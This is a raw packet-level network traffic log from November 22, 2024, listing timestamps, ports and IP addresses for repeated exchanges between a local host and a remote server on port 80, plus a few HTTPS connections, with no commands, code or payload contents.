Nov 22, 2024 14:43:55.801104069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.801148891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.801167965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.801693916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.801707029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.801764011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.802866936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.802954912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.803205013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.803420067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.803966045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.804023981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.804090977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.804135084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.805087090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.805160046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.805274010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.805454969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.806276083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.806330919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.806479931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.806575060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.807391882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.807416916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.807449102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.807466984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.808537006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.808609962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.808825970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.808895111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.809745073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.809901953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.809936047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.809978962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.810811043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.810904026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.811129093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.811178923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.811986923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.812041998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.812505007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.812556028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.813114882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.813160896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.813468933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.813518047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.814316034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.814366102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.814584970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.814629078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.815469980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.815483093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.815532923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.816605091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.816668034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.816726923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.817774057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.817787886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.817838907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.818866968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.818912029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.819149971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.819201946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.820051908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.820071936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.820122004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.821181059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.821259975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.821445942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.821492910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.822323084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.822360992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.822381020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.822405100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.823534012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.823589087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.823596954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.823630095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.824630976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.824645042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.824866056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.825787067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.825954914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.826019049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.826096058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.827007055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.827065945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.827136993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.827186108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.828109980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.828247070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.828299046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.829271078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.829328060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.829332113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.829369068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.830368042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.830425024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.830476999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.830785036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.831557035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.831758976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.831782103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.831804991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.832691908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.832705975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.832761049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.833794117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.833867073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.834151030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.834554911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.834971905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.834999084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.835026979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.835048914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.836116076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.836168051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.836409092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.836895943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.837265015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.837311029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.837408066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.837462902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.838484049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.838498116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.838563919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.839561939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.839629889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.839711905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.839799881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.840801954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.840816975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.840873003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.841989040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.842003107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.842044115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.843003988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.843044996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.843061924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.843085051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.844175100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.844217062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.844681025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.844729900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.845331907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.845376968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.845381021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.845453024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.846476078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.846527100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.846617937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.846692085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.847738028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.847764015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.847803116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.847815990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.848772049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.848810911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.848828077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.848851919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.849966049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.849977970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.850030899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.851039886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.851088047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.851175070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.851263046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.852224112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.852236032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.852273941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.853349924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.853385925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.853408098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.853420019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.854546070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.854562998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.854593039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.854608059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.855700016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.855712891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.855779886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.856883049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.856900930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.856937885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.856970072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.858021021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.858072042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.858244896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.858355045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.859170914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.859183073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.859232903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.860270023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.860282898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.860323906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.861385107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.861463070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.861668110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.861732960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.862673998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.862720013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.985749960 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.985822916 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.985902071 CET	49885	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.986224890 CET	49885	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.986246109 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.986272097 CET	49885	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.986279011 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.989382982 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.989425898 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.989507914 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.989684105 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.989703894 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:56.002464056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.002477884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.002542019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.003015995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.003067017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.003309011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.003359079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.004148960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.004195929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.004225969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.004245043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.005158901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.005172968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.005228043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.006179094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.006233931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.006314993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.006369114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.007431030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.007494926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.007517099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.007565022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.008460999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.008474112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.008522034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.009615898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.009665012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.009999037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.010049105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.010780096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.010829926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.011020899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.011092901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.011840105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.011889935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.012578964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.012630939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.013036013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.013083935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.013221025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.013262033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.014167070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.014275074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.014277935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.014322042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.015301943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.015352011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.015743971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.015793085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.017035961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.017100096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.017474890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.017529964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.017628908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.017745018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.017930031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.017976046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.018785000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.018832922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.019231081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.019277096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.019870996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.019917011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.020684004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.020736933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.021142006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.021224976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.021596909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.021640062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.022265911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.022315025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.022587061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.022644043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.023364067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.023416042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.024297953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.024350882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.024527073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.024574041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.024625063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.024667025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.025755882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.025873899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.025926113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.026854992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.026913881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.027050018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.027139902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.028094053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.028143883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.028352976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.028405905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.029118061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.029165983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.029236078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.029284954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.030229092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.030289888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.030582905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.030637026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.031393051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.031445980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.031507015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.031721115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.032552958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.032603979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.033045053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.033098936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.033713102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.033765078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.033773899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.033804893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.034985065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.034996986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.035054922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.036040068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.036354065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.036427021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.037167072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.037221909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.037250996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.037362099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.038352013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.038392067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.038645983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.038688898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.039436102 CET	80	49819	185.215.113.206	192.168.2.6
